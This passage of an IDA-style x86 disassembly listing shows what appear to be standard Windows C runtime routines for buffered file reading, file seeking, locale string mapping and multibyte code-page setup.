loc_41C1B7:				; CODE XREF: sub_41C178+38j
		push	dword ptr [esi+18h]
		push	dword ptr [esi+8]
		push	dword ptr [esi+10h]
		call	sub_41C251
		add	esp, 0Ch
		mov	[esi+4], eax
		test	eax, eax
		jz	short loc_41C23B
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41C23B
		mov	edx, [esi+0Ch]
		test	dl, 82h
		jnz	short loc_41C210
		mov	ecx, [esi+10h]
		push	edi
		cmp	ecx, 0FFFFFFFFh
		jz	short loc_41C1F9
		mov	edi, ecx
		sar	edi, 5
		and	ecx, 1Fh
		mov	edi, dword_46C960[edi*4]
		lea	edi, [edi+ecx*8]
		jmp	short loc_41C1FE
; ---------------------------------------------------------------------------


loc_41C1F9:				; CODE XREF: sub_41C178+6Bj
		mov	edi, offset dword_43A5A0


loc_41C1FE:				; CODE XREF: sub_41C178+7Fj
		mov	cl, [edi+4]
		pop	edi
		and	cl, 82h
		cmp	cl, 82h
		jnz	short loc_41C210
		or	dh, 20h
		mov	[esi+0Ch], edx


loc_41C210:				; CODE XREF: sub_41C178+62j
					; sub_41C178+90j
		cmp	dword ptr [esi+18h], 200h
		jnz	short loc_41C22D
		mov	ecx, [esi+0Ch]
		test	cl, 8
		jz	short loc_41C22D
		test	ch, 4
		jnz	short loc_41C22D
		mov	dword ptr [esi+18h], 1000h


loc_41C22D:				; CODE XREF: sub_41C178+9Fj
					; sub_41C178+A7j ...
		mov	ecx, [esi]
		dec	eax
		mov	[esi+4], eax
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41C23B:				; CODE XREF: sub_41C178+55j
					; sub_41C178+5Aj
		neg	eax
		sbb	eax, eax
		and	eax, 10h
		add	eax, 10h
		or	[esi+0Ch], eax
		and	dword ptr [esi+4], 0


loc_41C24C:				; CODE XREF: sub_41C178+Aj
					; sub_41C178+12j ...
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_41C178	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C251	proc near		; CODE XREF: sub_416A57+90p
					; sub_41C178+48p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		cmp	esi, dword_46CA60
		jnb	loc_41C42E
		mov	eax, esi
		and	esi, 1Fh
		sar	eax, 5
		shl	esi, 3
		lea	ebx, ds:46C960h[eax*4]
		mov	eax, dword_46C960[eax*4]
		add	eax, esi
		mov	dl, [eax+4]
		test	dl, 1
		jz	loc_41C42E
		and	[ebp+var_8], 0
		mov	edi, [ebp+arg_4]
		cmp	[ebp+arg_8], 0
		mov	ecx, edi
		jz	short loc_41C306
		test	dl, 2
		jnz	short loc_41C306
		test	dl, 48h
		jz	short loc_41C2C6
		mov	al, [eax+5]
		cmp	al, 0Ah
		jz	short loc_41C2C6
		dec	[ebp+arg_8]
		mov	[edi], al
		mov	eax, [ebx]
		lea	ecx, [edi+1]
		mov	[ebp+var_8], 1
		mov	byte ptr [eax+esi+5], 0Ah


loc_41C2C6:				; CODE XREF: sub_41C251+56j
					; sub_41C251+5Dj
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		mov	eax, [ebx]
		push	[ebp+arg_8]
		push	ecx
		push	dword ptr [eax+esi]
		call	dword_421068	; ReadFile
		test	eax, eax
		jnz	short loc_41C319
		call	dword_421088	; RtlGetLastWin32Error
		push	5
		pop	ecx
		cmp	eax, ecx
		jnz	short loc_41C301
		mov	dword_46B634, 9
		mov	dword_46B638, ecx
		jmp	loc_41C43F
; ---------------------------------------------------------------------------


loc_41C301:				; CODE XREF: sub_41C251+99j
		cmp	eax, 6Dh
		jnz	short loc_41C30D


loc_41C306:				; CODE XREF: sub_41C251+4Cj
					; sub_41C251+51j
		xor	eax, eax
		jmp	loc_41C442
; ---------------------------------------------------------------------------


loc_41C30D:				; CODE XREF: sub_41C251+B3j
		push	eax
		call	sub_41CE74
		pop	ecx
		jmp	loc_41C43F
; ---------------------------------------------------------------------------


loc_41C319:				; CODE XREF: sub_41C251+8Cj
		mov	eax, [ebx]
		mov	edx, [ebp+var_C]
		add	[ebp+var_8], edx
		lea	ecx, [eax+esi+4]
		mov	al, [eax+esi+4]
		test	al, 80h
		jz	loc_41C429
		test	edx, edx
		jz	short loc_41C33E
		cmp	byte ptr [edi],	0Ah
		jnz	short loc_41C33E
		or	al, 4
		jmp	short loc_41C340
; ---------------------------------------------------------------------------


loc_41C33E:				; CODE XREF: sub_41C251+E2j
					; sub_41C251+E7j
		and	al, 0FBh


loc_41C340:				; CODE XREF: sub_41C251+EBj
		mov	[ecx], al
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_8]
		mov	[ebp+arg_8], eax
		add	ecx, eax
		cmp	eax, ecx
		mov	[ebp+var_8], ecx
		jnb	loc_41C423


loc_41C358:				; CODE XREF: sub_41C251+1BAj
		mov	eax, [ebp+arg_8]
		mov	al, [eax]
		cmp	al, 1Ah
		jz	loc_41C413
		cmp	al, 0Dh
		jz	short loc_41C374
		mov	[edi], al
		inc	edi
		inc	[ebp+arg_8]
		jmp	loc_41C405
; ---------------------------------------------------------------------------


loc_41C374:				; CODE XREF: sub_41C251+116j
		dec	ecx
		cmp	[ebp+arg_8], ecx
		jnb	short loc_41C392
		mov	eax, [ebp+arg_8]
		inc	eax
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_41C389
		add	[ebp+arg_8], 2
		jmp	short loc_41C3E7
; ---------------------------------------------------------------------------


loc_41C389:				; CODE XREF: sub_41C251+130j
		mov	byte ptr [edi],	0Dh
		inc	edi
		mov	[ebp+arg_8], eax
		jmp	short loc_41C405
; ---------------------------------------------------------------------------


loc_41C392:				; CODE XREF: sub_41C251+127j
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		inc	[ebp+arg_8]
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		call	dword_421068	; ReadFile
		test	eax, eax
		jnz	short loc_41C3BA
		call	dword_421088	; RtlGetLastWin32Error
		test	eax, eax
		jnz	short loc_41C401


loc_41C3BA:				; CODE XREF: sub_41C251+15Dj
		cmp	[ebp+var_C], 0
		jz	short loc_41C401
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 48h
		jz	short loc_41C3DC
		mov	al, [ebp+var_1]
		cmp	al, 0Ah
		jz	short loc_41C3E7
		mov	byte ptr [edi],	0Dh
		mov	ecx, [ebx]
		inc	edi
		mov	[ecx+esi+5], al
		jmp	short loc_41C405
; ---------------------------------------------------------------------------


loc_41C3DC:				; CODE XREF: sub_41C251+176j
		cmp	edi, [ebp+arg_4]
		jnz	short loc_41C3EC
		cmp	[ebp+var_1], 0Ah
		jnz	short loc_41C3EC


loc_41C3E7:				; CODE XREF: sub_41C251+136j
					; sub_41C251+17Dj
		mov	byte ptr [edi],	0Ah
		jmp	short loc_41C404
; ---------------------------------------------------------------------------


loc_41C3EC:				; CODE XREF: sub_41C251+18Ej
					; sub_41C251+194j
		push	1
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		call	sub_41C447
		add	esp, 0Ch
		cmp	[ebp+var_1], 0Ah
		jz	short loc_41C405


loc_41C401:				; CODE XREF: sub_41C251+167j
					; sub_41C251+16Dj
		mov	byte ptr [edi],	0Dh


loc_41C404:				; CODE XREF: sub_41C251+199j
		inc	edi


loc_41C405:				; CODE XREF: sub_41C251+11Ej
					; sub_41C251+13Fj ...
		mov	ecx, [ebp+var_8]
		cmp	[ebp+arg_8], ecx
		jb	loc_41C358
		jmp	short loc_41C423
; ---------------------------------------------------------------------------


loc_41C413:				; CODE XREF: sub_41C251+10Ej
		mov	eax, [ebx]
		lea	esi, [eax+esi+4]
		mov	al, [esi]
		test	al, 40h
		jnz	short loc_41C423
		or	al, 2
		mov	[esi], al


loc_41C423:				; CODE XREF: sub_41C251+101j
					; sub_41C251+1C0j ...
		sub	edi, [ebp+arg_4]
		mov	[ebp+var_8], edi


loc_41C429:				; CODE XREF: sub_41C251+DAj
		mov	eax, [ebp+var_8]
		jmp	short loc_41C442
; ---------------------------------------------------------------------------


loc_41C42E:				; CODE XREF: sub_41C251+12j
					; sub_41C251+39j
		and	dword_46B638, 0
		mov	dword_46B634, 9


loc_41C43F:				; CODE XREF: sub_41C251+ABj
					; sub_41C251+C3j
		or	eax, 0FFFFFFFFh


loc_41C442:				; CODE XREF: sub_41C251+B7j
					; sub_41C251+1DBj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41C251	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C447	proc near		; CODE XREF: sub_416CDE+67p
					; sub_417C57+CDp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		push	ebx
		cmp	eax, dword_46CA60
		push	esi
		push	edi
		jnb	short loc_41C4C9
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:46C960h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		test	byte ptr [ecx+esi+4], 1
		jz	short loc_41C4C9
		push	eax
		call	sub_41DD62
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_41C48B
		mov	dword_46B634, 9
		jmp	short loc_41C4DA
; ---------------------------------------------------------------------------


loc_41C48B:				; CODE XREF: sub_41C447+36j
		push	[esp+0Ch+arg_8]
		push	0
		push	[esp+14h+arg_4]
		push	eax
		call	dword_4210AC	; SetFilePointer
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_41C4AB
		call	dword_421088	; RtlGetLastWin32Error
		jmp	short loc_41C4AD
; ---------------------------------------------------------------------------


loc_41C4AB:				; CODE XREF: sub_41C447+5Aj
		xor	eax, eax


loc_41C4AD:				; CODE XREF: sub_41C447+62j
		test	eax, eax
		jz	short loc_41C4BA
		push	eax
		call	sub_41CE74
		pop	ecx
		jmp	short loc_41C4DA
; ---------------------------------------------------------------------------


loc_41C4BA:				; CODE XREF: sub_41C447+68j
		mov	eax, [edi]
		and	byte ptr [eax+esi+4], 0FDh
		lea	eax, [eax+esi+4]
		mov	eax, ebx
		jmp	short loc_41C4DD
; ---------------------------------------------------------------------------


loc_41C4C9:				; CODE XREF: sub_41C447+Dj
					; sub_41C447+2Aj
		and	dword_46B638, 0
		mov	dword_46B634, 9


loc_41C4DA:				; CODE XREF: sub_41C447+42j
					; sub_41C447+71j
		or	eax, 0FFFFFFFFh


loc_41C4DD:				; CODE XREF: sub_41C447+80j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41C447	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C4E1	proc near		; CODE XREF: sub_416CDE+2Ap

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx
		mov	esi, [edi+10h]
		cmp	[edi+4], ebx
		mov	[ebp+var_C], esi
		jge	short loc_41C4FD
		mov	[edi+4], ebx


loc_41C4FD:				; CODE XREF: sub_41C4E1+17j
		push	1
		push	ebx
		push	esi
		call	sub_41C447
		add	esp, 0Ch
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jl	short loc_41C56B
		mov	edx, [edi+0Ch]
		test	dx, 108h
		jnz	short loc_41C522
		sub	eax, [edi+4]
		jmp	loc_41C634
; ---------------------------------------------------------------------------


loc_41C522:				; CODE XREF: sub_41C4E1+37j
		mov	eax, [edi]
		mov	ecx, [edi+8]
		mov	ebx, eax
		sub	ebx, ecx
		test	dl, 3
		mov	[ebp+var_8], ebx
		jz	short loc_41C55C
		mov	edx, esi
		mov	ebx, esi
		sar	edx, 5
		and	ebx, 1Fh
		mov	edx, dword_46C960[edx*4]
		test	byte ptr [edx+ebx*8+4],	80h
		jz	short loc_41C573
		mov	edx, ecx


loc_41C54D:				; CODE XREF: sub_41C4E1+79j
		cmp	edx, eax
		jnb	short loc_41C573
		cmp	byte ptr [edx],	0Ah
		jnz	short loc_41C559
		inc	[ebp+var_8]


loc_41C559:				; CODE XREF: sub_41C4E1+73j
		inc	edx
		jmp	short loc_41C54D
; ---------------------------------------------------------------------------


loc_41C55C:				; CODE XREF: sub_41C4E1+50j
		test	dl, 80h
		jnz	short loc_41C573
		mov	dword_46B634, 16h


loc_41C56B:				; CODE XREF: sub_41C4E1+2Dj
		or	eax, 0FFFFFFFFh
		jmp	loc_41C634
; ---------------------------------------------------------------------------


loc_41C573:				; CODE XREF: sub_41C4E1+68j
					; sub_41C4E1+6Ej ...
		cmp	[ebp+var_4], 0
		jnz	short loc_41C581
		mov	eax, [ebp+var_8]
		jmp	loc_41C634
; ---------------------------------------------------------------------------


loc_41C581:				; CODE XREF: sub_41C4E1+96j
		test	byte ptr [edi+0Ch], 1
		jz	loc_41C62C
		mov	edx, [edi+4]
		test	edx, edx
		jnz	short loc_41C59A
		and	[ebp+var_8], edx
		jmp	loc_41C62C
; ---------------------------------------------------------------------------


loc_41C59A:				; CODE XREF: sub_41C4E1+AFj
		sub	eax, ecx
		add	eax, edx
		mov	[ebp+arg_0], eax
		mov	eax, esi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:46C960h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 80h
		jz	short loc_41C626
		push	2
		push	0
		push	[ebp+var_C]
		call	sub_41C447
		add	esp, 0Ch
		cmp	eax, [ebp+var_4]
		jnz	short loc_41C5ED
		mov	eax, [edi+8]
		mov	ecx, [ebp+arg_0]
		add	ecx, eax


loc_41C5D8:				; CODE XREF: sub_41C4E1+104j
		cmp	eax, ecx
		jnb	short loc_41C5E7
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_41C5E4
		inc	[ebp+arg_0]


loc_41C5E4:				; CODE XREF: sub_41C4E1+FEj
		inc	eax
		jmp	short loc_41C5D8
; ---------------------------------------------------------------------------


loc_41C5E7:				; CODE XREF: sub_41C4E1+F9j
		test	byte ptr [edi+0Dh], 20h
		jmp	short loc_41C621
; ---------------------------------------------------------------------------


loc_41C5ED:				; CODE XREF: sub_41C4E1+EDj
		push	0
		push	[ebp+var_4]
		push	[ebp+var_C]
		call	sub_41C447
		mov	eax, 200h
		add	esp, 0Ch
		cmp	[ebp+arg_0], eax
		ja	short loc_41C614
		mov	ecx, [edi+0Ch]
		test	cl, 8
		jz	short loc_41C614
		test	ch, 4
		jz	short loc_41C617


loc_41C614:				; CODE XREF: sub_41C4E1+124j
					; sub_41C4E1+12Cj
		mov	eax, [edi+18h]


loc_41C617:				; CODE XREF: sub_41C4E1+131j
		mov	[ebp+arg_0], eax
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 4


loc_41C621:				; CODE XREF: sub_41C4E1+10Aj
		jz	short loc_41C626
		inc	[ebp+arg_0]


loc_41C626:				; CODE XREF: sub_41C4E1+D9j
					; sub_41C4E1:loc_41C621j
		mov	eax, [ebp+arg_0]
		sub	[ebp+var_4], eax


loc_41C62C:				; CODE XREF: sub_41C4E1+A4j
					; sub_41C4E1+B4j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		add	eax, ecx


loc_41C634:				; CODE XREF: sub_41C4E1+3Cj
					; sub_41C4E1+8Dj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41C4E1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C639	proc near		; CODE XREF: sub_417033+A3p
					; sub_41B539+A5p ...

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4218A8
		push	offset sub_41D6A4
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	edi, edi
		cmp	dword_46B6C0, edi
		jnz	short loc_41C6AF
		push	edi
		push	edi
		push	1
		pop	ebx
		push	ebx
		push	offset dword_4218A0
		mov	esi, 100h
		push	esi
		push	edi
		call	dword_421194	; LCMapStringW
		test	eax, eax
		jz	short loc_41C68D
		mov	dword_46B6C0, ebx
		jmp	short loc_41C6AF
; ---------------------------------------------------------------------------


loc_41C68D:				; CODE XREF: sub_41C639+4Aj
		push	edi
		push	edi
		push	ebx
		push	offset dword_43B198
		push	esi
		push	edi
		call	dword_421190	; LCMapStringA
		test	eax, eax
		jz	loc_41C7C7
		mov	dword_46B6C0, 2


loc_41C6AF:				; CODE XREF: sub_41C639+2Ej
					; sub_41C639+52j
		cmp	[ebp+arg_C], edi
		jle	short loc_41C6C4
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_420396
		pop	ecx
		pop	ecx
		mov	[ebp+arg_C], eax


loc_41C6C4:				; CODE XREF: sub_41C639+79j
		mov	eax, dword_46B6C0
		cmp	eax, 2
		jnz	short loc_41C6EB
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_421190	; LCMapStringA
		jmp	loc_41C7C9
; ---------------------------------------------------------------------------


loc_41C6EB:				; CODE XREF: sub_41C639+93j
		cmp	eax, 1
		jnz	loc_41C7C7
		cmp	[ebp+arg_18], edi
		jnz	short loc_41C701
		mov	eax, dword_46B6DC
		mov	[ebp+arg_18], eax


loc_41C701:				; CODE XREF: sub_41C639+BEj
		push	edi
		push	edi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_1C]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_18]
		call	dword_421064	; MultiByteToWideChar
		mov	ebx, eax
		mov	[ebp+var_1C], ebx
		cmp	ebx, edi
		jz	loc_41C7C7
		mov	[ebp+var_4], edi
		lea	eax, [ebx+ebx]
		add	eax, 3
		and	al, 0FCh
		call	sub_415B90
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_41C75C
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		mov	[ebp+var_24], edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	ebx, [ebp+var_1C]


loc_41C75C:				; CODE XREF: sub_41C639+10Ej
		cmp	[ebp+var_24], edi
		jz	short loc_41C7C7
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	1
		push	[ebp+arg_18]
		call	dword_421064	; MultiByteToWideChar
		test	eax, eax
		jz	short loc_41C7C7
		push	edi
		push	edi
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_421194	; LCMapStringW
		mov	esi, eax
		mov	[ebp+var_28], esi
		cmp	esi, edi
		jz	short loc_41C7C7
		test	byte ptr [ebp+arg_4+1],	4
		jz	short loc_41C7DB
		cmp	[ebp+arg_14], edi
		jz	loc_41C856
		cmp	esi, [ebp+arg_14]
		jg	short loc_41C7C7
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_421194	; LCMapStringW
		test	eax, eax
		jnz	loc_41C856


loc_41C7C7:				; CODE XREF: sub_41C639+66j
					; sub_41C639+B5j ...
		xor	eax, eax


loc_41C7C9:				; CODE XREF: sub_41C639+ADj
					; sub_41C639+21Fj
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41C7DB:				; CODE XREF: sub_41C639+160j
		mov	[ebp+var_4], 1
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_415B90
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_20], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_41C80F
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		xor	ebx, ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_28]


loc_41C80F:				; CODE XREF: sub_41C639+1C2j
		cmp	ebx, edi
		jz	short loc_41C7C7
		push	esi
		push	ebx
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_421194	; LCMapStringW
		test	eax, eax
		jz	short loc_41C7C7
		cmp	[ebp+arg_14], edi
		push	edi
		push	edi
		jnz	short loc_41C836
		push	edi
		push	edi
		jmp	short loc_41C83C
; ---------------------------------------------------------------------------


loc_41C836:				; CODE XREF: sub_41C639+1F7j
		push	[ebp+arg_14]
		push	[ebp+arg_10]


loc_41C83C:				; CODE XREF: sub_41C639+1FBj
		push	esi
		push	ebx
		push	220h
		push	[ebp+arg_18]
		call	dword_421138	; WideCharToMultiByte
		mov	esi, eax
		cmp	esi, edi
		jz	loc_41C7C7


loc_41C856:				; CODE XREF: sub_41C639+165j
					; sub_41C639+188j
		mov	eax, esi
		jmp	loc_41C7C9
sub_41C639	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C85D	proc near		; CODE XREF: sub_41CC21+Bp

var_18		= dword	ptr -18h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_41C9F6	; GetOEMCP
		mov	esi, eax
		pop	ecx
		cmp	esi, dword_46CA64
		mov	[ebp+arg_0], esi
		jz	loc_41C9EA
		xor	ebx, ebx
		cmp	esi, ebx
		jz	loc_41C9E0
		xor	edx, edx
		mov	eax, offset dword_43A2C0


loc_41C891:				; CODE XREF: sub_41C85D+41j
		cmp	[eax], esi
		jz	short loc_41C907
		add	eax, 30h
		inc	edx
		cmp	eax, offset dword_43A3B0
		jl	short loc_41C891
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		call	dword_421198	; GetCPInfo
		cmp	eax, 1
		jnz	loc_41C9D8
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_46CB80
		cmp	[ebp+var_18], 1
		mov	dword_46CA64, esi
		rep stosd
		stosb
		mov	dword_46CC84, ebx
		jbe	loc_41C9C6
		cmp	[ebp+var_12], 0
		jz	loc_41C99C
		lea	ecx, [ebp+var_11]


loc_41C8E4:				; CODE XREF: sub_41C85D+139j
		mov	dl, [ecx]
		test	dl, dl
		jz	loc_41C99C
		movzx	eax, byte ptr [ecx-1]
		movzx	edx, dl


loc_41C8F5:				; CODE XREF: sub_41C85D+A8j
		cmp	eax, edx
		ja	loc_41C990
		or	byte_46CB81[eax], 4
		inc	eax
		jmp	short loc_41C8F5
; ---------------------------------------------------------------------------


loc_41C907:				; CODE XREF: sub_41C85D+36j
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_46CB80
		rep stosd
		lea	esi, [edx+edx*2]
		mov	[ebp+var_4], ebx
		shl	esi, 4
		stosb
		lea	ebx, dword_43A2D0[esi]


loc_41C923:				; CODE XREF: sub_41C85D+103j
		cmp	byte ptr [ebx],	0
		mov	ecx, ebx
		jz	short loc_41C956


loc_41C92A:				; CODE XREF: sub_41C85D+F7j
		mov	dl, [ecx+1]
		test	dl, dl
		jz	short loc_41C956
		movzx	eax, byte ptr [ecx]
		movzx	edi, dl
		cmp	eax, edi
		ja	short loc_41C94F
		mov	edx, [ebp+var_4]
		mov	dl, byte_43A2B8[edx]


loc_41C944:				; CODE XREF: sub_41C85D+F0j
		or	byte_46CB81[eax], dl
		inc	eax
		cmp	eax, edi
		jbe	short loc_41C944


loc_41C94F:				; CODE XREF: sub_41C85D+DCj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx],	0
		jnz	short loc_41C92A


loc_41C956:				; CODE XREF: sub_41C85D+CBj
					; sub_41C85D+D2j
		inc	[ebp+var_4]
		add	ebx, 8
		cmp	[ebp+var_4], 4
		jb	short loc_41C923
		mov	eax, [ebp+arg_0]
		mov	dword_46CA7C, 1
		push	eax
		mov	dword_46CA64, eax
		call	sub_41CA40
		lea	esi, dword_43A2C4[esi]
		mov	edi, offset dword_46CA70
		movsd
		movsd
		pop	ecx
		mov	dword_46CC84, eax
		movsd
		jmp	short loc_41C9E5
; ---------------------------------------------------------------------------


loc_41C990:				; CODE XREF: sub_41C85D+9Aj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx-1], 0
		jnz	loc_41C8E4


loc_41C99C:				; CODE XREF: sub_41C85D+7Ej
					; sub_41C85D+8Bj
		push	1
		pop	eax


loc_41C99F:				; CODE XREF: sub_41C85D+14Fj
		or	byte_46CB81[eax], 8
		inc	eax
		cmp	eax, 0FFh
		jb	short loc_41C99F
		push	esi
		call	sub_41CA40
		pop	ecx
		mov	dword_46CC84, eax
		mov	dword_46CA7C, 1
		jmp	short loc_41C9CC
; ---------------------------------------------------------------------------


loc_41C9C6:				; CODE XREF: sub_41C85D+74j
		mov	dword_46CA7C, ebx


loc_41C9CC:				; CODE XREF: sub_41C85D+167j
		xor	eax, eax
		mov	edi, offset dword_46CA70
		stosd
		stosd
		stosd
		jmp	short loc_41C9E5
; ---------------------------------------------------------------------------


loc_41C9D8:				; CODE XREF: sub_41C85D+51j
		cmp	dword_46B6E4, ebx
		jz	short loc_41C9EE


loc_41C9E0:				; CODE XREF: sub_41C85D+27j
		call	sub_41CA73


loc_41C9E5:				; CODE XREF: sub_41C85D+131j
					; sub_41C85D+179j
		call	sub_41CA9C


loc_41C9EA:				; CODE XREF: sub_41C85D+1Dj
		xor	eax, eax
		jmp	short loc_41C9F1
; ---------------------------------------------------------------------------


loc_41C9EE:				; CODE XREF: sub_41C85D+181j
		or	eax, 0FFFFFFFFh


loc_41C9F1:				; CODE XREF: sub_41C85D+18Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41C85D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C9F6	proc near		; CODE XREF: sub_41C85D+Cp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		and	dword_46B6E4, 0
		cmp	eax, 0FFFFFFFEh
		jnz	short loc_41CA16
		mov	dword_46B6E4, 1
		jmp	dword_4211A0
; ---------------------------------------------------------------------------


loc_41CA16:				; CODE XREF: sub_41C9F6+Ej
		cmp	eax, 0FFFFFFFDh
		jnz	short loc_41CA2B
		mov	dword_46B6E4, 1
		jmp	dword_42119C
; ---------------------------------------------------------------------------


loc_41CA2B:				; CODE XREF: sub_41C9F6+23j
		cmp	eax, 0FFFFFFFCh
		jnz	short locret_41CA3F
		mov	eax, dword_46B6DC
		mov	dword_46B6E4, 1

locret_41CA3F:				; CODE XREF: sub_41C9F6+38j
		retn
sub_41C9F6	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CA40	proc near		; CODE XREF: sub_41C85D+118p
					; sub_41C85D+152p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		sub	eax, 3A4h
		jz	short loc_41CA6D
		sub	eax, 4
		jz	short loc_41CA67
		sub	eax, 0Dh
		jz	short loc_41CA61
		dec	eax
		jz	short loc_41CA5B
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41CA5B:				; CODE XREF: sub_41CA40+16j
		mov	eax, 404h
		retn
; ---------------------------------------------------------------------------


loc_41CA61:				; CODE XREF: sub_41CA40+13j
		mov	eax, 412h
		retn
; ---------------------------------------------------------------------------


loc_41CA67:				; CODE XREF: sub_41CA40+Ej
		mov	eax, 804h
		retn
; ---------------------------------------------------------------------------


loc_41CA6D:				; CODE XREF: sub_41CA40+9j
		mov	eax, 411h
		retn
sub_41CA40	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CA73	proc near		; CODE XREF: sub_41C85D:loc_41C9E0p
		push	edi
		push	40h
		pop	ecx
		xor	eax, eax
		mov	edi, offset byte_46CB80
		rep stosd
		stosb
		xor	eax, eax
		mov	edi, offset dword_46CA70
		mov	dword_46CA64, eax
		mov	dword_46CA7C, eax
		mov	dword_46CC84, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_41CA73	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CA9C	proc near		; CODE XREF: sub_41C85D:loc_41C9E5p

var_514		= byte ptr -514h
var_314		= byte ptr -314h
var_214		= byte ptr -214h
var_114		= byte ptr -114h
var_14		= byte ptr -14h
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh

		push	ebp
		mov	ebp, esp
